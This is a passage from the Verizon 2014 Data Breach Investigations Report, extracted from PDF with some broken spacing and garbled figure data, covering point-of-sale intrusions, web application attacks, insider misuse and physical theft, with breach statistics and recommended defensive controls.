RAM scraping malware as the primary tool used to capture data. RAM scrapers allow payment card data to be grabbed while processed in memory (where it is unencrypted) rather than when stored on disk or in transit across the network (where it is (ostensibly) encrypted). i t’s interesting, but not necessarily surprising, that RAM scraping has usurped keyloggers as the most common malware functionality associated with POS compromises. One could theorize that keyloggers (most of which were common varieties such as Perfect Keylogger and Artemis) are more easily spotted than the memory-scraping code we witnessed in this data set. Or perhaps the RAM scrapers, which hook into specific processes of the POS software, simply do the job better and more efficiently. i n years past, we analyzed attack sprees that spanned multiple victims with no association with each other beyond the use of truly awful passwords. This report features almost 200 incidents, but in prior years we saw over 200 victims for one criminal group. The two biggest sprees in our 2013 dataset, one involving several franchisees of the same company, and the other affecting multiple corporations, are a bit different, and lead us to our second common scenario: the use of stolen vendor credentials. i n one case the credentials stolen belonged to a point-of-sale vendor and were compromised via Zeus malware infecting the vendor’s systems. The big problem among these was that the same password was used for all organizations managed by the vendor. Once it was stolen, it essentially became a default password and the attackers also gained knowledge of the customer base. Armed with this information, the familiar modus operandi of installing malicious code that captured and transmitted the desired data began. While not as common as the simpler POS intrusions, our dataset does include several incidents from the first quarter of 2013 that feature a compromise at a corporate location, leading to widespread compromise of individual locations and malicious code installations across a multitude of stores. Some cases have begun with a store compromise that led to penetration of the corporate network, but the hub-and-spoke architecture allowed for efficient traversal of the network and the impact of the compromise was magnified regardless of where “device 0” was located.Figure 21. Top 10 threat action varieties within POS Intrusions (n=196) RAM scraper [mal] Export data [mal] Brute force [hac] Use of stolen creds [hac] Offline cracking [hac] Use of backdoor or C2 [hac] Spyware/Keylogger [mal] Backdoor [mal] Misconfiguration [err] Phishing [soc]37% 8% 2% 2% 1% <1% <1%85% 79% 50%38%Brute force Use of stolen creds UnknownOffline cracking Use of backdoor or C2 SQLi2% <1%9% 9%53%Figure 22. Hacking variety within POS Intrusions (n=187) 35%3rd party desktop Desktop sharing Backdoor or C2Physical access VNP Web application<1% <1%9% 1% Command hell 1%55%Figure 23. Hacking vector within POS Intrusions (n=187)POiNT-OF-SALE i NTRUS i ONS 17 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSERegardless of how large the victim organization was or which methods were used to steal payment card information, there is another commonality shared in 99% of the cases: someone else told the victim they had suffered a breach. This is no different than in years past, and we continue to see notification by law enforcement and fraud detection as the most common discovery methods. i n many cases, investigations into breaches will uncover other victims, which explains why law enforcement is the top method of discovery and the top contributor of POS intrusions in our dataset. Long story short, we’re still discovering payment card breaches only after the criminals begin using their ill-gotten gains for fraud and other illicit purposes.The timelines in Figure 25 reinforce both the compromise vectors and the discovery methods. Entry is often extremely quick, as one would expect when exploiting stolen or weak passwords. Most often it takes weeks to discover, and that’s based entirely on when the criminals want to start cashing in on their bounty. Figure 25. Timespan of events within POS Intrusions Discovery n=178 Compromise n=169 Exfilteration n=169 Hours Days Weeks Months Years NeverSeconds Minutes0% 0% 0%85% 0%13%51% 36% 1% 1% 1% 1%1%21% 11% 11%1% 1%0% 0% 0% 0%88%5%Figure 24. Top 5 discovery methods for POS Intrusions (n=197) 1% All Internal Ext - law enforcement Ext - customerExt - fraud detection Int - NIDS Int - reported by userAll External 14% <1% <1%11%75%99% BOTNET MITIGATION: AN INCENTIVE PROBLEM According to the NHTCU, the impact of botnets — the Swiss Army knife of cybercriminals — remained high in 2013. Furthermore, they note an apparent incentive problem when it comes to mitigating these crafty menaces. Since the impact of a botnet is often spread around the globe, federal authorities aren’t always able to amass resources to fight it on a national level. While the total damage of such a botnet might be large, specific countries only deal with a small part of these damages. The initial costs for fighting such a botnet don’t seem to outweigh the benefits of its takedown.Nevertheless, the NHTCU continue to fight botnets. i n February of 2013, public broadcaster NOS presented findings on part of a dropzone of the so-called Pobelka botnet. After an online checking tool was made available, 500,000 people checked to see if their machines had (at some time) been infected; of that group, 23,000 self-identified as victims. By then, the dropzone had been examined for correlations with a 2012 malware outbreak that had prompted a criminal investigation. Sixteen organizations within the vital infrastructure were informed of being infected, and relevant infected i P addresses had been communicated to the respective i SPs.POiNT-OF-SALE i NTRUS i ONS 18 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEREFLECTIONS AFTER THE EC3’S FIRST YEAR IN OPERATION Last year’s DB i R featured an appendix from Troels Oerting, Assistant Director of the European Cybercrime Centre (EC3), discussing the plans and priorities of the newly established division of Europol. Law enforcement agencies play a critical role in this report, and it’s not often we get to see them in their formative stages. Thus, we thought it would be interesting to include some reflections on EC3’s first year of operations. The job of the EC3 isn’t a small one: it serves 28 European Union (EU) member states and dozens of countries, and coordinates protection for 500 million citizens, almost three-quarters of whom have i nternet access. i n terms of operations, the EC3 prioritizes four areas: cyber intelligence, intrusion, online fraud, and child sexual abuse. As with any new venture, much of the first year focused on building infrastructure and capabilities to fulfill these priorities. Secure network connections to EU and non-EU partners were rolled out, as well as centralized forensic analysis environments and tools. The EC3 trained more than 100 law enforcement experts all over the EU in cyber investigation, tools, and obtaining forensic evidence. i t built a new central forensic laboratory to assist member state colleagues in obtaining evidence. i t distributed alerts, intelligence notifications, and threat assessments to stakeholders. Memorandums of understanding (MoUs) were signed with key private stakeholders, and a new Advisory Group consisting of experts outside the law enforcement community was established (Verizon is happy to be among them). Trends observed by the EC3 across member states in 2013 include substantial increases in intrusions, malware, phishing, grooming, DDoS, espionage, and botnet activity. i t also reports a boom in criminal infrastructure on the darknet, growth in malware affecting mobile devices, and wider distribution of malware from cloud services. i n combating these trends, the EC3 has prioritized identifying criminal network operations and cases, with the potential for major and lasting impact.RECOMMENDED CONTROLS FOR ALL COMPANIES The shared vector for the major scenarios is third-party remote-access software (e.g., PCAnywhere, LogMe i n). The security of these products is not the issue here. i t just happens that we often find them implemented in a very insecure manner. Restrict remote access Limit any remote access into POS systems by your third-party management vendor, and have serious business discussions regarding how and when they will perform their duties. Enforce password policies Make absolutely sure all passwords used for remote access to POS systems are not factory defaults, the name of the POS vendor, dictionary words, or otherwise weak. i f a third party handles this, require (and verify) that this is done, and that they do not use the same password for other customers. “S” is for “Sale, ” not “Social. ” Do not browse the web, email, use social media, play games, or do anything other than POS-related activities on POS systems. Deploy AV install and maintain anti-virus software on POS systems. Bottom line: Mak e it difficult for miscreants to log into a device that accepts the most targeted piece of information for financially motived criminals. FOR LARGE/MUL TI-STORE COMPANIES Larger, multi-store companies and franchises should consider a couple of additional recommendations to limit the impact of a single-location breach and prevent a mass compromise. Debunk the flat network theory Review the interconnectivity between stores and central locations and treat them as semi-trusted connections. Segment the POS environment from the corporate network. Look for suspicious network activity Monitor network traffic to and from the POS network. There should be a normalized traffic pattern, and while easier said than done, anomalous traffic must be identified and investigated. Use two-factor authentication Stronger passwords would cut out a huge chunk of the problem, but larger organizations should also consider multiple factors to authenticate third-party and internal users.POiNT-OF-SALE i NTRUS i ONS 19 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEWEB APP ATTACKS There’s no question about it – the variety and combination of techniques available to attackers make defending web applications a complex task. Regrettably, our discussion of this complexity is hampered by the level of detail provided on these incidents. Unless a forensics investigation was performed (a small subset of the overall dataset), the specific techniques utilized went largely unreported or were recorded with broad categorizations. While we have enough material to discuss web application data breaches at a high level, our ability to draw conclusions drops as we dig further into the details (which often aren’t there). Greed takes a back seat to ideology when it comes to web app attacks in the 2013 dataset. Just under two out of every three web app attacks were attributable to activist groups driven by ideology and lulz; just under one out of three came by the hand of financially motivated actors; with the small remainder linked to espionage. After some slicing and dicing we found some very distinct sub-patterns divided along these motives. The financial and ideological attacks deserve unique discussion since the treatment for each may be slightly different. While attacks perpetrated by those motivated by espionage are certainly relevant, discussion of these is taken up in the “Espionage” section.FINANCIALL Y MOTIVATED ATTACKS Financially motivated attackers are hyper-focused on gaining access to the money, so it follows that their two primary target industries are the financial and retail industries (where data that easily converts to money is abundant and, all too often, accessible). Within the financial industry, they focus on gaining access to the user interface of the web (banking) application more so than exploiting the web application itself, because the application grants logical access to the money. This means they target user credentials and simply use the web applications protected with a single factor (password) as the conduit to their goal. These could have been included in the section on crimeware (and some did slip through cracks in the algorithm to land there), but the use of web applications as a vector of attack causes them to show up here. The tactics used by attackers are all the usual suspects: a) phishing techniques to either trick the user into supplying credentials or installing malware onto the client system, b) the old stand-by of brute force password guessing, and c) rarer cases of targeting the application through SQL injection or other application-level attacks as a means to retrieve credentials, bypass the authentication, or otherwise target the user-management system. When attribution is possible, the majority of external attackers utilizing stolen credentials somewhere along the attack chain hail from Eastern Europe. Within the retail industry, we see a slightly different focus. The primary aim is payment card information (targeted in 95% of the incidents), which is often accessible simply by exploiting the web application. Social actions (such as phishing) are mostly non-existent, most likely because exploiting vulnerabilities inherent in web applications works plenty well enough. SQL injection was leveraged in 27 of the 34 (80%) attacks against web applications in the retail industry, followed by techniques to install and use web shells (remote file inclusion, etc.) in five of the 34. AT A GLANCE Description Any incident in which a web application was the vector of attack. This includes exploits of code-level vulnerabilities in the application as well as thwarting authentication mechanisms. Top industriesinformation, Utilities, Manufacturing, Retail Frequency3,937 total incidents 490 with confirmed data disclosure Key findings Web applications remain the proverbial punching bag of the internet. They’re beaten in one of tw o ways: by exploiting a weakness in the application (typically inadequate input validation), or by using stolen credentials to impersonate a valid user. Many of the attacks in our 2013 dataset targeted off-the-shelf content management systems (e.g., Joomla!, Wordpress, or Drupal) to gain control of servers for use in DDoS campaigns. Ideology/Fun Financial Espionage65% 33% 2%Figure 26. External actor motives within Web App Attacks (n=1,126)WEB APP ATTACKS 20 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEIDEOLOGICALL Y MOTIVATED ATTACKS: i deology represents the largest identified portion of motives for web application attacks, and the actors also tend to be the most geographically diverse. 74% focus on tried and true exploits targeting, above all else, unvalidated inputs in executed code. Nowhere is this exploited on a larger scale than Content Management Systems (CMS) such as Joomla!, Drupal, and WordPress, and even then, more in the added plugins than the core CMS code itself. i deological actors (whether their motivation is social, political, or just for plain fun) are less concerned about getting at the crown jewels than they are about getting a platform (in all senses of the word) to stand on. With that in mind, it’s not surprising that we see two types of results from ideological attackers going after a web server: defacements to send a message or hijacking the server to attack (including by DDoS) other victims. This focus on opportunistically owning just the web server becomes plain when looking at the assets compromised in the attack. The web server was the only asset recorded in nearly all incidents attributable to ideological motives. The actors didn’t appear to be interested in pushing deeper and wider into the network. This result may be the product of simply not reporting those secondary components of the incident — so don’t take this as advice to only focus on the web server — but it is logical and a point of contrast to other types of attacks in our dataset. DISCOVERY METHODS AND TIMELINE When the actor is financially motivated and the discovery method is recorded, we see a leading notification method that we don’t see anywhere else: customers. Perhaps customers notice the fraudulent activity before anyone else, but something is definitely tipping them off before any internal mechanism. With all internal discovery methods combined, only 9% of victims discovered data breaches of their own accord.Discovery method looks a little bleaker for activists. 99% of the notifications were external parties (primarily CS i RTs) contacting victims to let them know their hosts were involved in other attacks. This is heavily influenced by ideological attackers quietly using the platform to attack others rather than, for instance, simple defacements (which are rare in the dataset). Even though the timeline data is a little sparse, it paints the picture of quick entry with 60% of the initial compromises occurring within minutes or less. This reflects the highly repetitive CMS exploits in this pattern; if it works, it works quickly. Just over 85% of the incidents are discovered in days or more, with about 50% taking months or longer to discover. Once discovered though, we see fairly good reaction time, with about half of the organizations taking days or less to respond and contain the incident. This is far better than the norm, which is typically weeks or longer.Figure 27. Top 10 discovery methods for financially motivated incidents within Web App Attacks (n=122) Ext - customer Ext - fraud detection Int - IT audit Ext - unrelated party Ext - law enforcement Int - fraud detection Int - reported by user Ext - actor disclosure Ext - audit Ext - monitor service2% 2% 2%2% 1%1%74% 3%6%Total External Total Internal88% 12% 4% COMPARING ATTACKS TO PATCH TIMEFRAMES Wouldn’t it be great to know that (quickly) patching web application vulnerabilities helps? This year we partnered with WhiteHat Security in order to combine and compare the incident data we’ve collected against the vulnerability assessment data they collect from tens of thousands of websites across hundreds of the most well-known organizations. After some back and forth, we decided first to break out the data by industries (because patterns emerge across industries), then we decided to compare two data points on web vulnerabilities to the incident data: the average (mean) vulnerabilities per site and median days to patch. We assumed that industries with fewer vulnerabilities and quicker patch time would be less represented in the breach data (i.e., have fewer incidents) and so we applied some good old-fashioned statistics and were admittedly let down when we didn’t see the relationship 4 we were expecting.What we found is a non-finding and the only valid conclusion to draw from this is that more work is needed to understand the relationship between web application vulnerabilities and security incidents. With a non-finding, we can only speculate on why we are seeing these results. Perhaps this is telling us that no industry is doing enough. We know three out of four web-based compromises occur in hours or less of first contact, and maybe fixing vulnerabilities in 10 days versus 70 days doesn’t help all that much. Plus, the attacker only exploits one (maybe two) vulnerabilities. But a different explanation could be that our lens was focused too wide, and we could learn more by matching the high-quality WhiteHat data with specific incident data within the same sample. Whatever the causes, we do know that web application attacks occur often enough to repeat what is said in the WhiteHat Website Security Statistics Report, 5 “What’s needed is more secure software, NOT more security software. ”WEB APP ATTACKS 21 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSERECOMMENDED CONTROLS Single-password fail The writing’s on the wall for single-factor, password-based authentication on anything i nternet-facing. Even though it may draw you out of a known comfort zone, if you’re defending a web application seek out alternatives to this method of identity verification. i f you’re a vendor in the web application space, also consider mandating alternative authentication mechanism for your customers. Rethink CMS And we mean “rethink” in every way. if you’re committed to an activ e platform (Joomla!, Drupal, WordPress, etc.), then set up an automated patch process. i f an automated patch process isn’t viable, then develop a manual process and stick to it. This is especially true for the third-party plugins. Another way to rethink CMS is to consider a static CMS framework. i nstead of executing code for every request and generating the content, static CMS will pre-generate those same pages, removing the need to execute code on the server for every request. Validate inputs Even though we’ve been tilting at this windmill for years, the advice still holds true. The best way to be sure your web application won’t be exploited is to seek out and fix the vulnerabilities before the attackers do (and they will). i f you don’t have access to the source code and/or the developers, be sure to have something in place (e.g., a contract) to fix the problems when they’re found. Enforce lockout policies Brute force attacks aren’t the leading method in this section, but they’re still worthy of mention. By instituting counter-measures, such as a slowing down the rate of repeated attempts or temporarily locking accounts with multiple failed attempts, the rate of successful brute force attempts will more than likely dissipate and disappear (although you may still be dealing with that pesky bot poking at your accounts every now and then). Monitor outbound connections While many web-based attacks rely heavily on the existing firewall bypass protocol (HTTP), many others change the victim’s web server into a client. Critical points in the attack chain are pulling additional malware to continue the attack, exfiltrating compromised data, or attacking others on command. So unless your server has a legitimate reason to send your data to Eastern Europe or DoS’ing others is part of the business plan, try to lock down your web server’s ability to do so.Figure 29. Timespan of events within Web App Attacks Discovery n=70 Containment n=410% 0%3% 2%11%17% 16% 11% 0% 5%42% 22%29%41%Compromise n=43 Exfilteration n=33 0% 0% 0% 0%3%27% 21% 21%18% 9%19%42% 12%23% 0% 0% 0%5%Hours Days Weeks Months Years NeverSeconds MinutesFigure 28. Top 5 discovery methods for ideologically motivated incidents within Web App Attacks (n=775) Ext - unrelated party Ext - fraud detection Ext - law enforcement Int - reported by user Ext - actor disclosure Ext - customer Int - unknown Int - antivirus Int - fraud detection Other<1% <1% <1%<1%<1%<1%93% <1%4%Total External Total Internal98% 2% 1%WEB APP ATTACKS 22 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEINSIDER AND PRIVILEGE MISUSE An organization’s intellectual property is among its most valuable assets, frequently driving its ability to compete in the market. i n many cases, organizations also have custody of vast amounts of data about the customers they serve, the employees who serve them, and the relationships they rely upon to do business. This data has value to the organization, but also to those who would seek it for their own personal benefit or myriad other reasons. For the misuse pattern, we focus on those who already have a trusted place inside the organization. Arguably, the most prominent case of internal misuse in the headlines this past year has been that of U.S. government contractor Edward Snowden. While this is an extreme example of the damage that determined insiders can inflict, it illustrates the risk that exists when an organization must place trust in individuals.Figure 30 lists the top threat actions observed across incidents fitting the misuse pattern. Note that not all are within the misuse category [mis]; stay tuned for more on that later. Not unexpectedly, privilege abuse — taking advantage of the system access privileges granted by an employer and using them to commit nefarious acts — tops the list. We realize that encompasses a very broad range of activities, but the overall theme and lesson differ little: most insider misuse occurs within the boundaries of trust necessary to perform normal duties. That’s what makes it so difficult to prevent. Remember that action varieties in VER i S are not mutually exclusive, and it’s common to see more than one in a single incident. Unapproved hardware and email misuse/data mishandling (tied) round out the top three actions in the misuse category, but they’re more a function of how the data is exfiltrated rather than how it’s acquired. Unapproved hardware refers to employees using devices like USB drives that are either forbidden altogether or allowed but subject to various restrictions. An employee sending intellectual property out to his or her personal address is an example of email misuse. We also reviewed cases where system administrators abused the email system, posing as another user and sending messages under that identity, with the goal of getting them fired. Data mishandling takes place when someone uses data in a manner counter to the organization’s policies. For example, a call center employee who writes customer credit card numbers down on paper, or an engineer who skirts policy by taking restricted documents home to examine on a personal computer.AT A GLANCE Description All incidents tagged with the action category of Misuse — any unapproved or malicious use of organizational resources — fall within this pattern. This is mainly insider misuse, but outsiders (due to collusion) and partners (because they are granted privileges) show up as well. Top industriesPublic, Real Estate, Administrative, Transportation, Manufacturing, Mining Frequency11,698 total incidents 112 with confirmed data disclosure Key findings Most crimes by trusted parties are perpetrated for financial or personal gain. The most noticeable shifts in the 2013 dataset, however, were an increase in insider espionage targeting internal data and trade secrets, and a broader range of tactics. We say “2013 dataset” because we do not believe the actual rate of such crimes increased significantly; we’re seeing the benefit of increased visibility from insider-focused partners. Privilege abuse [mis] Unapproved hardware [mis] Bribery [soc] Email misuse [mis] Data mishanding [mis] Use of stolen creds [hac] Unapproved workaround [mis] Theft [phy] Unapproved software [mis] Embezzlement [mis]11% 11% 7% 5% 4% 4%4%88% 18% 16%Figure 30. Top 10 threat action varieties within Insider Misuse (n=153)iNSiDER AND PR i V i LEGE M i SUSE 23 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEWith more incidents than ever before involving trusted parties, we could more easily see how they go about acquiring the data when their own access is insufficient. i n addition to abusing entrusted privileges and resources, we observed hacking techniques to elevate privileges (often by stealing others’ credentials) and circumvent controls, various forms of social engineering, and the use of malware like keyloggers and backdoors. These cads have even resorted to physical theft, taking documents such as blueprints and other intellectual property, often denying availability to the original organization by taking the only copy. i t’s also worth noting that the corporate LAN was the vector in 71% of these incidents, and 28% took advantage of physical access within the corporate facility. This means the majority of employees perpetrated their acts while in the office right under the noses of coworkers, rather than hopping through proxies from the relative safety of their house. i f someone wants to use these statistics to loosen up work-at-home policies and tear down cube farms in favor of more open floor plans — you have our blessing.Let’s take a look at the people committing these crimes. While payment chain personnel and end-users were still prominent, managers (including those in the C-suite) came in higher than in prior years. Y ou know the type; one of those straight shooters with upper management written all over him. They often have access to trade secrets and other data of interest to the competition and, tragically, are also more likely to be exempted from following security policies because of their privileged status in the company. 6 One of those “white-collar resort prisons” won’t do for their ilk. As mentioned in the beginning of this section, insiders aren’t the only ones who misuse entrusted privileges and resources. Figure 33 gives an account of external and partner actors who directly or indirectly participated in incidents of misuse. Organized criminals bribe insiders to steal data for fraud schemes. Former employees exploit still active accounts or other holes known only to them. Competitors solicit intellectual property to gain business advantages. To mount a proper defense, organizations must take into account that such players are on the field. Nearly all misuse incidents prior to 2013 centered on obtaining information to use for fraud. As Figure 34 shows, we saw more insider espionage targeting internal organizational data and trade secrets than ever before. According to The Recover Report , 7 published by one of our DB iR contributors, Mishcon de Re ya, the two most common scenarios involve perpetrators taking the data to: • Start their o wn competing company (30%). • Help secure emplo yment with a rival (65%). This kind of thing is certainly not new — it’s largely due to the addition of more contributors who have a view into this type of activity than ever before. So, whether it’s fraud-ready data sold on the quick to criminals or internal secrets eventually sold to a competitor, insider crime is still “all about the Benjamins, baby. ”Figure 31. Vector for threat actions within Insider Misuse (n=123) LAN access Physical access OtherRemote access Non-corporate71% 28% 2% 1%21% Figure 32. Top 10 varieties of internal actors within Insider Misuse (n=99) Cashier End-user Finance Manager Call center Executive Other Developer System admin Auditor9% 7% 7% 6% 6% 1%23% 13%17% 13%Figure 33. Variety of external actors within Insider Misuse (n=25) Organized crime Former employee CompetitorUnaffiliated Acquaintance36% 24% 8%24% 16% Figure 34. Actor motives within Insider Misuse (n=125) 72% Financial Espionage ConvenienceGrudge Fun N/A10% 3% 2%4%18%iNSiDER AND PR i V i LEGE M i SUSE 24 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEDesktops are the most frequently compromised asset in this pattern, which makes sense because desktop computers are an employee’s primary interface to the rest of the network (Figure 36). Typically, this is where the data is stored, uploaded, or emailed out of the organization, or copied onto removable media. Databases and file servers, both repositories of so much valuable information, are also targeted regularly. Payment cards doesn’t refer to the variety of data, but rather actual cards that were run through handheld skimming devices (or otherwise copied) in the classic “evil waiter” scenario. As far as asset ownership, we see insiders abusing corporate-owned rather than employee-owned (“BYOD”) assets allowed for corporate use. However, we do see evidence they often leverage unapproved personal devices to help them get the data out of the organization (which shows up as use of unapproved hardware).Discovery methods for the majority of breaches have traditionally been dominated by external signals. For insider misuse, however, internal methods (55%) are responsible for detecting more incidents than external methods (45%). The most common way organizations detected insider crimes was when employees reported them. Discoveries triggered by financial and i T audits were also very common. Reviewing the books on Monday morning is an example of the former, and a promising example of the latter is a regular process to review access for exiting employees. The CERT i nsider Threat Center (another partner of ours) focuses research on insider breaches, and it determined that in more than 70% of the i P theft cases, insiders stole the information within 30 days of announcing their resignation.8 On quite a few occasions, a review of the activity of outgoing employees with access to sensitive information allowed impacted organizations to detect the incident and act quickly to retrieve the information (hopefully before irreparable damage had been done).Figure 35.Variety of at-risk data within Insider Misuse (n=108) Personal Payment Internal Secrets Bank Credentials Medical UnknownOther Classified3% 3% 2% 1%34% 29% 27% 18% 14% 9% Figure 36. Top 10 assets affected within Insider Misuse (n=142) Desktop (user dev) Database (server) Other (server) Payment card (media) Cashier (people) File (people) Other (people) Web application (server) Unknown Laptop (user dev)10% 9% 8% 8% 6% 5%26% 12%25% 22%Figure 37. Top 10 discovery methods within Insider Misuse (n=122) Ext - customer Int - reported by user Int - unknown Int - financial audit Int - IT audit Ext - fraud detection Ext - unknown Ext - law enforcement Int - fraud detection Ext - audit9% 8% 6% 6% 6% 3%16% 10%13%Total External Total Internal45% 55% 11%iNSiDER AND PR i V i LEGE M i SUSE 25 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSENote the discovery timeline for misuse in Figure 38 — it looks very different from the overall timeline we see for other types of incidents. The majority of the misuse incidents were detected within days (which is great), but there’s also a not insignificant number of incidents (70 to be exact) that took years to discover (which ain’t so great).RECOMMENDED CONTROLS The root cause of data theft and other illicit acts by trusted parties is, rather obviously, an employee breaking bad. No, not in a Walter White sense; more like a white collar crime sense (though Walter did ***SPO i LER ALERT*** murder his boss and execute a forced takeover of the business, so it is rather apropos). While it’s impossible to stop all rogue employees, there are some steps that can reduce the likelihood of an incident occurring, or at least increase your chances of catching it quickly. Know your data and who has access to it The first step in protecting your data is in knowing where it is, and who has access to it. From this, build controls to protect it and detect misuse. i t won’t prevent determined insiders (because they have access to it already), but there are many other benefits that warrant doing it. Review user accounts Having identified the positions with access to sensitive data, implement a process to review account activity when those employees give notice or have been released. Disable user accounts as soon as an employee leaves the company (and, if warranted, before that). This has proven successful in either preventing the data from leaving the organization, or in retrieving it quickly to contain the incident. Watch for data exfiltration in the top misuse varieties, we see actions that facilitate the data tr ansfer out of the organization — these are excellent places to set up controls to detect this type of activity. Many data loss prevention products cover the most common actions taken to steal sensitive information, and these are certainly worth exploring. Publish audit results From an awareness perspective, regularly publish anonymized results of audits of access. Let employees know that there are consequences and that the policies are being enforced. This can act as a powerful deterrent to bad behavior.Hours Days Weeks Months YearsSeconds Minutes32% 7% 28% 22% 8% <1%4%Figure 38. Discovery timeline within Insider Misuse (n=1,017)iNSiDER AND PR i V i LEGE M i SUSE 26 VERIZON ENTERPRISE SOLUTIONS POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEPHYSICAL THEFT AND LOSS To be honest, we debated whether or not to include a section on lost and stolen assets in this report. We decided, however, that we simply couldn’t ignore the blatant fact that such incidents — while not sexy or “cyber-y” — are among the most common causes of data loss/exposure reported by organizations. This is especially apparent in industries like Healthcare, where the disclosure of all incidents that potentially expose sensitive data is mandatory. And if there’s anything we know to be true about human nature, it’s that losing things and stealing things seem to be inherent predispositions. Studying the findings yielded a few interesting observations that may help inform practice, and that’s where we’ll focus our attention in this section. As we begin, keep in mind that we’re specifically talking about information assets; 10 whatever was lost or stolen had to store, process, or transmit information in order to get our attention. Observation #1 relates to demographics; we have evidence that every type and size of organization loses stuff and/or has stuff stolen. That may not be much of a shock, but it’s at least noteworthy that this is the only incident pattern that applies across the board. Even farmers have problems with people that come and try to snatch their crops laptops. Speaking of laptops, they’re the most common variety of asset reported with this pattern. i ncident reports — especially to CS i RTs — often don’t specify the asset lost or stolen. Thus, “some kind of user device” is all we can infer and explains why “Other (user dev)” is so frequent. Beyond that, it’s what you’d expect: computers, documents, and drives. The next thing to note is the ratio of loss to theft; losing information assets happens way more than theft, by a 15-to-one difference. And that’s important because it suggests the vast majority of incidents in this pattern are not due to malicious or intentional actions. Thus, the primary challenge is to a) keep employees from losing things (not gonna happen) or b) minimize the impact when they do. The smart money is on option b, though bio-implanted computing devices do hold some future promise for option a. That’s about all we’re going to say about loss, but theft still has a few more lessons for us.AT A GLANCE Description Pretty much what it sounds like — any incident where an information asset went missing, whether through misplacement or malice. Top industriesHealthcare, Public, Mining Frequency9,704 total incidents9 116 with confirmed data disclosure Key findings Loss is reported more often than theft. in a surprising finding, we discovered that assets are stolen from corpor ate offices more often than personal vehicles or residences. And while personal and medical information is commonly exposed, most losses/thefts are reported because of mandatory disclosure regulations rather than because of fraud. Other (user dev) Laptop (user dev) Documents (media) Desktop (user dev) Flash drive (media) Disk drive (media) Tapes (media) Other (server) Other (media) Database (server)108 102 37 36 27 12 11892 308 140Figure 39. Top 10 action varieties of Theft/Loss (n=9,678)Figure 40. Top 10 locations for theft within Theft/Loss (n=332) Victim work area Personal vehicle Personal residence Victim secure area Partner facility Partner vehicle Public facility Victim grounds Public vehicle Victim public area5% 4% 4% 3% 2%2%2%43% 23% 10%PHYS iCAL THEFT AND LOSS 27 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT POiNT-OF-SALE i NTRUS i ONSWEB APP ATTACKSiNSiDER AND PR i V i LEGE M i SUSEPHYS iCAL THEFT AND LOSSMiSCELLANEOUS ERRORSCRiMEWAREPA YMENT CARD SK i MMERSCYBER- ESP i ONAGEDOS ATTACKSEVERYTH iNG ELSEWe find it quite surprising that the highest proportion of thefts occur in the victim’s work area, which basically refers to the main office space or cube farm (Figure 40). That suggests simply having sensitive information “behind locked doors” isn’t enough; there are still a lot of people inside those locked doors. 11 Notice that thefts in internal high security areas are much less common, but still post higher than public facilities. That last bit is counterintuitive to the point of irrationality; we can’t help but suspect that people whose laptops are stolen when they take a potty break at the coffee shop simply report them as “lost” to save face. Personal residences and personal/partner/public vehicles serve as the venue for nearly 40% of thefts and remind us that devices on the go are prone to go missing. While it’s usually not known/reported exactly how actors gained physical access to these locations, over 80% of thefts where we do have that info involved disabling or bypassing controls. The remainder had access already, either because they were granted privileges or because it was a publicly accessible location. The final set of observations covers the variety of data that was compromised or, more often, potentially exposed when assets were lost or stolen. i t’s worth pointing out that the primary reason most of these incidents are included is because they tripped some 